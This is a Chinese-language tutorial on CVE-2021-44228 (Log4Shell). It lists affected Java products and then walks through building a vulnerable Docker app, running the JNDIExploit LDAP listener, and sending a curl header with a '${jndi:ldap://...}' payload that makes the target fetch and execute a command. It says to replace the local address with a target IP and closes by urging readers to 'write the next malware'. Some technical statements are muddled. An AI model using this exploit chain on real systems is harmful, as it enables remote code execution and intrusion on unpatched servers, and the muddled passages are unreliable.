
Java日志库Log4j中发现了一个远程代码执行漏洞。
CVE-2021-44228
该漏洞在全球网络安全社区引发了轩然大波,自Wannacry以来,我们还未见过如此巨大的影响。
大多数用Java编写的应用程序被认为受到影响并存在漏洞,尤其是Apache框架,包括Apache Struts2、Apache Solr、Apache Druid和Apache Flink。此外,ElasticSearch、Flume、Logstash、Kafka、Netty、MyBatis以及Spring-Boot-starter-log4j也存在漏洞。
互联网上一些最流行的产品和服务——包括Apple iCloud、Amazon、Steam和Twitter——都依赖这些框架运行。据信,许多企业和网络安全应用程序也受到影响。
Radware(持续自适应实时DDoS服务)表示,只有启用并利用Log4j消息查找替换的软件才会受到影响。从版本2.15.0开始,消息查找替换默认禁用,因此有必要打补丁。Log4j 2版本2.0-beta9至2.14.1均存在漏洞且可利用。


首先,本指南适用于在Kali Linux虚拟机上运行,并在如下命令中运行Java监听器,如视频指南左侧所示。 首先构建Docker漏洞应用程序,然后运行它。 那么,让我们来操作。
docker build . -t vulnerable-app下一步,实际上是运行已部署的 vulnerable-app。
*因此,下一个命令:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
现在,Spring脚本应如视频指南所示运行。
现在,要获取LDAP服务器的指纹,我们只需创建LDAP链接即可完成。首先下载利用工具 JNDIExploit-1.2。 JNDIExploit的下载URL已被GitHub删除,请从归档文件下载(URL如下)。 获取以下归档下载URL: JNDIExploit归档URL
那么,让我们继续。
解压JNDIExploit。
运行Java监听器: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "replace_with_your_IP-ADDR" -p 8888。
注意:删除 "replace_with your IP-addr" 并输入你的IP监听器。 (不包括括号)。
下一步触发漏洞利用,运行以下命令:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
注意:将"ip-addr"替换为你的本地IP(即Java监听的IP), 并将127.0.0.1替换为目标IP地址。这样就完成了,你将收到通过base64编码的hello-world字符串。通过这种方式,你可以进行任何操作。探索更多利用技术,例如Minecraft、通过BurpSuite对计算机上开放的服务进行操作等。想象一下——进入生产模式并提高你的即兴能力,编写下一个恶意软件。
可以将base64字符串(hello-world)替换为兼容的JS代码,以通过LDAP服务器执行查询。